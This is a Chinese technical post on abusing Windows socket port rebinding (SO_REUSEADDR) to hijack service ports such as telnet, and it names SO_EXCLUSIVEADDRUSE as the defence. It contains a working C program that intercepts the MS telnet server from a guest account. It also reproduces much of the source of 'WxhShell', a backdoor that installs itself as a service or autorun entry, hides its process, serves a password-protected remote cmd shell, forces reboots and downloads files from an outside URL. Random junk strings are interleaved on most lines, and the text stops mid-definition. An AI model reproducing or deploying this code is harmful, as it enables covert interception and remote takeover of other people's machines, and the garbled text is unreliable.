在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\ moLQ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
U+ik& R# 2)|=+DN; saddr.sin_family = AF_INET;
GQY"
+xa8] jLI1Ed saddr.sin_addr.s_addr = htonl(INADDR_ANY);
*P/A&"i[E o4EY2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
S|k@D2k= 50-7L, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
tugIOA -bOtF% 这意味着什么?意味着可以进行如下的攻击:
Cy6!?Mik w`f66*@Q1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
#iv4L SH =S> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Ea<\a1Tl43 JkT!X 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
[qRww]g;P| H7&y79mB 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
UR_Ty59 `Kf@<= 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^"
g?m &`n:AR` 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
z8}QXXa ojf6@p_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
<5pNFj}0;X Tr:@Dv.O #include
R(^Sse #include
x/M$_E<G #include
e4Y+u8gT #include
XA;PWl5! DWORD WINAPI ClientThread(LPVOID lpParam);
R--s
u:
int main()
2SD
Z {
&R4?]I WORD wVersionRequested;
(n?f016*%d DWORD ret;
_zM?"16I} WSADATA wsaData;
db_?da;!` BOOL val;
HP[B% SOCKADDR_IN saddr;
{-m e;ayk SOCKADDR_IN scaddr;
@^ YXE, int err;
'R+^+urq^ SOCKET s;
VpHwc!APq SOCKET sc;
e\[q3J int caddsize;
b' M"To@ HANDLE mt;
2INpo DWORD tid;
YQ?hAAJ wVersionRequested = MAKEWORD( 2, 2 );
2(3Q#3V err = WSAStartup( wVersionRequested, &wsaData );
YB 7A5 if ( err != 0 ) {
urx?p^c printf("error!WSAStartup failed!\n");
J9NuqV3 return -1;
P}gtJ; }
vjm? X saddr.sin_family = AF_INET;
,JK0N_= R+uZi~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
3T]cDVQ_ y4p"LD5%^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
44P [P{y saddr.sin_port = htons(23);
n5A|Zjk; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
M=;csazN {
G5t7KI printf("error!socket failed!\n");
gE@Pb return -1;
dS 4/spNq }
k}<H val = TRUE;
l}^ziY! //SO_REUSEADDR选项就是可以实现端口重绑定的
=#9#unvE! if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
qG
20 {
}#e=*8F7 printf("error!setsockopt failed!\n");
_^b\#Jz4U3 return -1;
]O:8o<0 }
z-We>KX //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"OI$PLK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
cW0\f5[/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
|iBf6smF CT|0KB& if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
UQh.o {
['\R4H!x ret=GetLastError();
6q>iPK Jt printf("error!bind failed!\n");
&glh >9:G return -1;
Pz2Q]}(w }
~gZ1*8 s` listen(s,2);
]JGq{I>%+6 while(1)
jsgDJ} {
~s'}_5;VY caddsize = sizeof(scaddr);
aDX&j2/ //接受连接请求
dPpQCxf sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
>T[Y>] if(sc!=INVALID_SOCKET)
`fEzE\\!* {
[|*7"Q( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
JLWm9c+UTG if(mt==NULL)
zJ8T.+qJ {
X!z-J> printf("Thread Creat Failed!\n");
wo(O+L/w break;
dgX%NKv1 }
x{w|Hy }
) aMiT CloseHandle(mt);
Fng }
-WyB2$!( closesocket(s);
Y+23 jlgb WSACleanup();
$RI$VyAjD return 0;
sXPva@8_ }
3A"TpR4f` DWORD WINAPI ClientThread(LPVOID lpParam)
Kzq^f=p {
ynMYf SOCKET ss = (SOCKET)lpParam;
OMjPC_ SOCKET sc;
Zi}h\R a unsigned char buf[4096];
AtHkz|sl SOCKADDR_IN saddr;
R|qNyNXo[ long num;
z@19gD#8 DWORD val;
4|\M`T DWORD ret;
u|$HA>F[ //如果是隐藏端口应用的话,可以在此处加一些判断
A~E S{Zkh //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
8irTGA saddr.sin_family = AF_INET;
+[n#{;]< saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
v.:Q& ] saddr.sin_port = htons(23);
`/R. 5;$| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z$m(@Q {
w0$+v/ printf("error!socket failed!\n");
Gb[J3:. return -1;
#G0'Q2 }
4`oKvL9 val = 100;
=(TMcu$4` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ckP AH E@ {
@Q ~;@M ret = GetLastError();
yG~Vvpv return -1;
X[<#B5 }
J#@+1 Nt if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8#A4B2 {
\A\?7#9\ ret = GetLastError();
2,I]H'}^ return -1;
GK11fZpO:i }
s-SFu if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{GT5 {
ea$. + printf("error!socket connect failed!\n");
sEw ?349Bz closesocket(sc);
B!)9
> closesocket(ss);
Snmv return -1;
3My}u> }
xp3^,x;\X while(1)
yNwSiZE X {
UjJ&P) //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
p_n$}z //如果是嗅探内容的话,可以再此处进行内容分析和记录
L)7{_s //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
wS7Vo{#@\ num = recv(ss,buf,4096,0);
-3d`e2^&} if(num>0)
:si&A;k send(sc,buf,num,0);
^o q|^O else if(num==0)
L?8OWLjRy break;
k{X+Y6'ku num = recv(sc,buf,4096,0);
G^L9[c= , if(num>0)
S%?>Mh?g send(ss,buf,num,0);
&dw=jHt else if(num==0)
c@]G;> o break;
D2o|.e<r }
XD!}uDZ^ closesocket(ss);
]-X\n
closesocket(sc);
7}c[GC)F return 0 ;
y[cc<wm$ }
FoYs<aER v1 ?G Mt{cX,DS ==========================================================
d= vD Pf v=dN$B5y3 下边附上一个代码,,WXhSHELL
q:jv9eL.O lQ[JA[ ==========================================================
K'"s9b8 6b` Jq>v #include "stdafx.h"
w*@9:+ I~"l9Jc!" #include <stdio.h>
?6N\AM' #include <string.h>
91a);d #include <windows.h>
f<<$!]\ #include <winsock2.h>
v{1g`E #include <winsvc.h>
jt3W.^6HO #include <urlmon.h>
Bv*VNfUm %%wngiz\ #pragma comment (lib, "Ws2_32.lib")
nddCp~NX #pragma comment (lib, "urlmon.lib")
ecvZwL 9/&1lFKJ #define MAX_USER 100 // 最大客户端连接数
0f+]I=1\ #define BUF_SOCK 200 // sock buffer
xTcY& #define KEY_BUFF 255 // 输入 buffer
m^/>C-&C *z~J ] #define REBOOT 0 // 重启
\0qFOjVj #define SHUTDOWN 1 // 关机
y^{4}^u-^ = K`]cEL #define DEF_PORT 5000 // 监听端口
%>O}bdSf Xpkj44cd@ #define REG_LEN 16 // 注册表键长度
>A6PH*x #define SVC_LEN 80 // NT服务名长度
%2G3+T8*x Ia^/^> // 从dll定义API
)J[Ady^5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
%$_?%X0=t typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
vKkvB;F41 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
[c=![*}/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
b4ke'gx 0q1+5 // wxhshell配置信息
5rA>2<\pQ struct WSCFG {
q7rX4-G$ int ws_port; // 监听端口
-/7@ A char ws_passstr[REG_LEN]; // 口令
\IR$~ int ws_autoins; // 安装标记, 1=yes 0=no
<`A!9+ char ws_regname[REG_LEN]; // 注册表键名
zrtbk~v8y char ws_svcname[REG_LEN]; // 服务名
j_zy"8Y{ char ws_svcdisp[SVC_LEN]; // 服务显示名
t3Iij0b~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
dW^#}kN7V char ws_passmsg[SVC_LEN]; // 密码输入提示信息
RD:LNl<0sh int ws_downexe; // 下载执行标记, 1=yes 0=no
= j
l(Q char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
'@QK<!%, char ws_filenam[SVC_LEN]; // 下载后保存的文件名
]<fZW"W<q `soQp2h- };
*Hh*!ePp hH?ke(&=f // default Wxhshell configuration
_B}QS"A struct WSCFG wscfg={DEF_PORT,
oJ=u
pnBn- "xuhuanlingzhe",
diw5h};W 1,
PCKxo;bD "Wxhshell",
fjQIuM "Wxhshell",
% <%r "WxhShell Service",
,fm{
krE "Wrsky Windows CmdShell Service",
TjctK [db@ "Please Input Your Password: ",
KZ [:o,jp> 1,
>4T7DMy "
http://www.wrsky.com/wxhshell.exe",
MF::At[4 "Wxhshell.exe"
k@9q5lu;T };
2+LvlS)C U4e9[=q`' // 消息定义模块
+k char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
7H[.o~\ char *msg_ws_prompt="\n\r? for help\n\r#>";
6SSrkj }U char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
?Y$3R"p@3` char *msg_ws_ext="\n\rExit.";
6<n+p'+n char *msg_ws_end="\n\rQuit.";
ia-&? char *msg_ws_boot="\n\rReboot...";
,=}+.ax char *msg_ws_poff="\n\rShutdown...";
mx^rw*'JGC char *msg_ws_down="\n\rSave to ";
F@X8a/;F- YE@!`!`d: char *msg_ws_err="\n\rErr!";
@y# u!} char *msg_ws_ok="\n\rOK!";
_x7>d:C _ 1\H{x char ExeFile[MAX_PATH];
qJj5_ int nUser = 0;
LkXF~ HANDLE handles[MAX_USER];
??P>HVx int OsIsNt;
*>j4tA{b@v TrHUM4 SERVICE_STATUS serviceStatus;
@ v}M\$N? SERVICE_STATUS_HANDLE hServiceStatusHandle;
T!5g:;~y > j 2Jew // 函数声明
^F/H?V/PX int Install(void);
?kc,}/4 int Uninstall(void);
A^ry|4`3( int DownloadFile(char *sURL, SOCKET wsh);
VDv>I 2% int Boot(int flag);
tpKQ$)ed void HideProc(void);
<UJ5n) }"\ int GetOsVer(void);
&) Iue<&2 int Wxhshell(SOCKET wsl);
lN::veD void TalkWithClient(void *cs);
NVo=5 int CmdShell(SOCKET sock);
RYX=;n int StartFromService(void);
<$'FTv int StartWxhshell(LPSTR lpCmdLine);
0OVxx>p/x HG})VPBa VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
9'\*Ip^ VOID WINAPI NTServiceHandler( DWORD fdwControl );
S L%lY 9KZLlEk5O // 数据结构和表定义
g*:f#u5 SERVICE_TABLE_ENTRY DispatchTable[] =
e&="5.ik {
/57)y_ \ {wscfg.ws_svcname, NTServiceMain},
q?Mmkh)g {NULL, NULL}
*U4eL- };
WAh{*$Rpl Hh<}~s // 自我安装
j}DG +M int Install(void)
[6a&9#[A {
Aj2yAg char svExeFile[MAX_PATH];
+P
9h%/Yk HKEY key;
+Tp>3Jh2 strcpy(svExeFile,ExeFile);
I78huYAYA SNf*2~uq) // 如果是win9x系统,修改注册表设为自启动
PF/eQZ*4 if(!OsIsNt) {
ucC'SS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
cH\.-5NQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
k7Xa|&fQP< RegCloseKey(key);
IqmoWn3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
FDO$(& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^0&
RegCloseKey(key);
WJ$!W return 0;
c27A)`
}
HrQft1~N }
5J8U] :Y) }
!BW6l)=L else {
N[AX]gOJ 2q.J1:lW // 如果是NT以上系统,安装为系统服务
(Puag* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
E
h>qUa if (schSCManager!=0)
=;^#5dpt$ {
ey>V^Fj SC_HANDLE schService = CreateService
}
^67HtNQ (
P mgTTI schSCManager,
w#M66=je_ wscfg.ws_svcname,
\"@BZ.y wscfg.ws_svcdisp,
ht%:e?@i SERVICE_ALL_ACCESS,
Y-Gqx SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
YYUWBnf30G SERVICE_AUTO_START,
Fm3B8Int SERVICE_ERROR_NORMAL,
fPW(hb; svExeFile,
#^fDKM NULL,
\d#|n u NULL,
B'Ll\<mq@ NULL,
c>%+y+b{ NULL,
4=E9$.3a NULL
Bdd>r#] );
L^zF@n^5A if (schService!=0)
%;|^*?!J0 {
IirXF?&t CloseServiceHandle(schService);
qZ6Mk9@M CloseServiceHandle(schSCManager);
*u4h+P strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
%4~2 strcat(svExeFile,wscfg.ws_svcname);
syYe0~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Z&!5'_9{V RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
b+.P4+ RegCloseKey(key);
^%V^\DK return 0;
prx)Cfv }
w{1DwCLKq }
`}YCUm[SI CloseServiceHandle(schSCManager);
1\_S1ZS }
-5~&A6+ILn }
D/1f>sl Q^qdm5}UkW return 1;
HH+$rrTT }
jF}u%T)HL O]SjShp // 自我卸载
V]V~q ]
int Uninstall(void)
b3z{FP {
}&Gt&Hm>K HKEY key;
%,G&By&, ;-:Nw6 E if(!OsIsNt) {
-c"nx$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%B&y^mZv*\ RegDeleteValue(key,wscfg.ws_regname);
>:s#MwIwm RegCloseKey(key);
jU~
!*] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
j`GL#J[wqQ RegDeleteValue(key,wscfg.ws_regname);
b'Scoa7@' RegCloseKey(key);
[YQVZBT|{ return 0;
s3sAw~++ }
38Q>x }
e^?0uVxS1 }
h7iI=[_V else {
~@=*JzP? ^{3,ok*Nf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
y6bl&_ if (schSCManager!=0)
C 'YL9r-G {
&R\t<X9 n SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
dD
Qx[ if (schService!=0)
@j/UDM {
}0&@J'< if(DeleteService(schService)!=0) {
\^$g%a CloseServiceHandle(schService);
2WK]I1_ CloseServiceHandle(schSCManager);
\G+ hi9T( return 0;
E>t5/^c)*w }
.d)X.cO CloseServiceHandle(schService);
\OV><|Lkh }
JVPl\I CloseServiceHandle(schSCManager);
?pS,?>J f }
S${n:e0\ }
zGfF.q} ;<j[0~qp: return 1;
2$)xpET }
'jr\F2 MGt[zLF9 // 从指定url下载文件
f@3?kM( int DownloadFile(char *sURL, SOCKET wsh)
o5NV4= {
yfq Vx$YL HRESULT hr;
1{TmK9U char seps[]= "/";
?<YQ
%qaW7 char *token;
T$p!IRPt char *file;
ID/=YG@ char myURL[MAX_PATH];
h!k[]bt5 char myFILE[MAX_PATH];
rD"$,-h k/6Qwb# strcpy(myURL,sURL);
U3R;'80 f token=strtok(myURL,seps);
/$w,8pV= while(token!=NULL)
(n4\$LdP- {
p\A!"KC file=token;
gk & token=strtok(NULL,seps);
>bwB+-l yL }
:5YL!D/& 0Nvk|uI
V[ GetCurrentDirectory(MAX_PATH,myFILE);
Ol%KXq[ strcat(myFILE, "\\");
RM\A$.5 strcat(myFILE, file);
I&m C send(wsh,myFILE,strlen(myFILE),0);
c#-o@`Po send(wsh,"...",3,0);
G1RUu-~+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
mE|?0mRA % if(hr==S_OK)
.paKV"LJ return 0;
n(#| else
]0Y5 Z)3:z return 1;
h83W;s 5]-q.A5m }
9oe=*#Ig1m tsYBZaH // 系统电源模块
? Zhnb0/ int Boot(int flag)
8)Z)pCN {
#N?VbDK9_ HANDLE hToken;
`RF0%Vm~t TOKEN_PRIVILEGES tkp;
kYW>o}J| -z s5WaJn/ if(OsIsNt) {
q(Q$lRj/I- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
AmyZ9r#{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
n+'gVEBA tkp.PrivilegeCount = 1;
x6qQ
Y<> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Oq`CK f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
uK6'TJ if(flag==REBOOT) {
(aeS+d x if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
k_o$ Ci return 0;
K *QRi/O }
Wb1?>q else {
M:PEY*4H if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
6rP?$mn2 return 0;
;4:[kv@ }
_
SuW86 }
qh]D=i else {
`K%f"by if(flag==REBOOT) {
^uV=|1<% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
H(QbH)S$6 return 0;
z]49dCN }
0XSMby?t` else {
+jPJv[W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
x+Ws lN2a return 0;
G`oY(2U }
r.JM!x8 }
t+l{D#?a
BwJL)$D<S return 1;
2gN78#d }
Hz>_tA"^T o..iT:f;n // win9x进程隐藏模块
W6A-/;S\ void HideProc(void)
B>kVJK`X {
nK8IW3fX9) HOr.(gL! HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%W8*vSbx if ( hKernel != NULL )
SR$?pJh D% {
@UK%l
:L pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
INRP@Cp1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
J?$`Tnx^ FreeLibrary(hKernel);
wqasI@vyu }
o]<@E u G mb?r{WCi return;
3P|z`}Ka }
u$Wv*;TT% q&nEodv>+ // 获取操作系统版本
0-~F%:x int GetOsVer(void)
*K'#$`2 {
f5`q9w_c OSVERSIONINFO winfo;
T!2gOe winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
~5;2 ni8n GetVersionEx(&winfo);
*G"}m/j- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
f~R`RBZ]9 return 1;
)~{8C: else
rNl%I@G return 0;
S^:7V[=EgI }
d9.I83SS Jz@2?wSp // 客户端句柄模块
@M)" int Wxhshell(SOCKET wsl)
K9_@[}Ge {
,KaO8^PB SOCKET wsh;
u|sdQ struct sockaddr_in client;
p7p6~;P DWORD myID;
QD;:!$Du v@1f,d while(nUser<MAX_USER)
e% #?B
* {
"3$P<Q\;l; int nSize=sizeof(client);
AmX ~KK wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
e8U6D+jY if(wsh==INVALID_SOCKET) return 1;
|H'wDw8 Z^t{m!v handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
*EF`s~ if(handles[nUser]==0)
5gZ* closesocket(wsh);
_}l7f else
Z!z#+G nUser++;
z]R% A:6K }
;0nL1R]w( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
n*m"yp '"9Wt@
. return 0;
t $u. }
q\d/-K Z"d21D~h9` // 关闭 socket
`C)|}qcC void CloseIt(SOCKET wsh)
;tWi4iT+. {
9D
@}(t! closesocket(wsh);
o>y@1%aU nUser--;
L[. )!c8k ExitThread(0);
FJIo]p }
-"x25~k!?F K j6@= // 客户端请求句柄
xeKfc}:&z void TalkWithClient(void *cs)
@WuG8G {
xX\A&9m 3
Bn9Ce= SOCKET wsh=(SOCKET)cs;
?dQ#%06mn char pwd[SVC_LEN];
O/lu0acI char cmd[KEY_BUFF];
f=Kt[|%'e char chr[1];
$j'8Z^ int i,j;
VR vX^w0 'ExTnv ~ while (nUser < MAX_USER) {
P+(Ys[J3 vf
h*`G$ if(wscfg.ws_passstr) {
&h?8yV4B if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
F5YHc$3^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.!Q?TSQ+{! //ZeroMemory(pwd,KEY_BUFF);
{3N5Fi7S i=0;
skBzwVW I while(i<SVC_LEN) {
b-)3MR:4 j?s+#t // 设置超时
=>Dw,+" fd_set FdRead;
ez^b{s` struct timeval TimeOut;
m*\XH
DB FD_ZERO(&FdRead);
Kz9h{Tu4 FD_SET(wsh,&FdRead);
9 p`|~^X TimeOut.tv_sec=8;
SkMBdkS9z[ TimeOut.tv_usec=0;
W*Ce1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
gpe-)hD@R if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
zK ir Fhbp,CX4p if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
O<`\9 pwd
=chr[0]; 5JA5:4aev
if(chr[0]==0xd || chr[0]==0xa) { ~e R6[;
pwd=0; m|cT)-
break; 6ZwFU5)QE/
} h&6t.2<e
i++; P] 9-+
} ]5hGSl2
y3)R:h4AH
// 如果是非法用户,关闭 socket bx%P-r31
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b}5hqIy
} qC$h~Epp4
xN]88L}Tn
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zFGZ;?i
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *q+z5G;O
bF{14F$
while(1) { zMmVYx
yct^AN|%
ZeroMemory(cmd,KEY_BUFF); B;mt11M
^q
?xi5w
// 自动支持客户端 telnet标准 X4}Lg2ts
j=0; c=A)_ZFg
while(j<KEY_BUFF) { /?Fa<{
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @Zd/>'
cmd[j]=chr[0]; Kg MW
if(chr[0]==0xa || chr[0]==0xd) { vTF_`X
cmd[j]=0; PgF7ug%,@C
break; ,c\3b)ax
} 3gzcpFNqX
j++; M<x
W)R
} %T:7I[f
V=|X=:fuih
// 下载文件 WSPlM"h
if(strstr(cmd,"http://")) { zIjUfgO/M
send(wsh,msg_ws_down,strlen(msg_ws_down),0); A(>kp=~
if(DownloadFile(cmd,wsh)) ~Q)137u]P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s=xJcLA
else MGzuQrl{H
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MVpk/S%W
} !\%0O`b^4
else { l;gj],*
(ON_(MN
switch(cmd[0]) { q:D!@+U
0^PI&7A?y
// 帮助 `*nK@:
case '?': { ?NL>xMA
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N7`<t&T@
break; uBe1{Z
} ;f8$vW];
// 安装 5c~OG6COx
case 'i': { pWwB<F
if(Install()) :RnFRAcr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E"P5rT
else J0hY~B~X
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *?#t (Y[
break; EFgs}BV_9
} L8FLHT+R-
// 卸载 *qLOr6
case 'r': { p2UZqq2
if(Uninstall()) '5mzlR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z mxrz[
else D*oJz3[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EQ j2:9f
break; esM<.
} nFn@Z'T$N
// 显示 wxhshell 所在路径 \gE3wmSJ,
case 'p': { y!9facg
char svExeFile[MAX_PATH]; F+`DfI]/m
strcpy(svExeFile,"\n\r"); @a1+
strcat(svExeFile,ExeFile); jy]<q^J
send(wsh,svExeFile,strlen(svExeFile),0); $z9z'^HqO
break; "/)}Cc,L
} ]byj[Gd
// 重启 H:ar&o#(
case 'b': { o6$Q>g`]
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K%: :
if(Boot(REBOOT)) uxq!kF'Ls
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nJTV@mXVq
else { _J51:pi
closesocket(wsh); XB &-k<C
ExitThread(0); 2S1wL<qP
} 9's/~T
break; nD\X3g`V
} UN&b]vg
// 关机 _ "ysJ&
case 'd': { "jVMk
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Kt%`]Wp
if(Boot(SHUTDOWN)) *R*Tmo"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )T6+}
else { 'iN8JO>
closesocket(wsh); a4
g~'^uC
ExitThread(0); ChLU(IPo6
} Q:]F* p2
break; ;bd\XHwMUP
} PX](hc=
// 获取shell $S$%avRX
case 's': { zxCxGT\;
CmdShell(wsh); :~ 3/
closesocket(wsh); %ma1LN[
ExitThread(0); nMcd(&`N
break; #(@dN+
} m=2TzLVv
// 退出 m p~\ioI*d
case 'x': { l\5}\9yS
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nTjQ4y
CloseIt(wsh); r]'AdJFt
break; 0[0</"K%1m
} +MOUO$;fGt
// 离开 hHoc7
case 'q': { u~?]/-.TY
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9VIsLk54^
closesocket(wsh); t09,X
WSACleanup(); R+Ke|C
exit(1); c0Jf
break; ltHC+8aZ
} 94W9P't
} NF0} eom
} v}-'L#6
[HIg\N$I8C
// 提示信息 G
<m{ o
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xJ%b<y{@
} a +*|P
} \u,hS*v0
e&F,z=XJ}
return; &cDnZ3Q;
} +YhTb
9ZG.%+l
// shell模块句柄 E](Ood
int CmdShell(SOCKET sock) b#k$/A@
{ y{K~g<VL
STARTUPINFO si; t ba%L
ZeroMemory(&si,sizeof(si)); j/wNPB/NM
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uxVXnQQ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?mRU9VY
PROCESS_INFORMATION ProcessInfo; +t/VF(!
char cmdline[]="cmd"; y"!+Fus9
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MsX`TOyO!
return 0; \8Fe56
} _V6;`{$WK
}RG
// 自身启动模式 O|%><I?I
int StartFromService(void) r6 ,5&`&
{ &OGY?[n
typedef struct t
7;V`[
{ wp.<}=|u
DWORD ExitStatus; vYmRW-1Zxq
DWORD PebBaseAddress; J9I!d.U
DWORD AffinityMask; im%'S6_X4
DWORD BasePriority; )"A+T&
ULONG UniqueProcessId; 6/s#'#jh
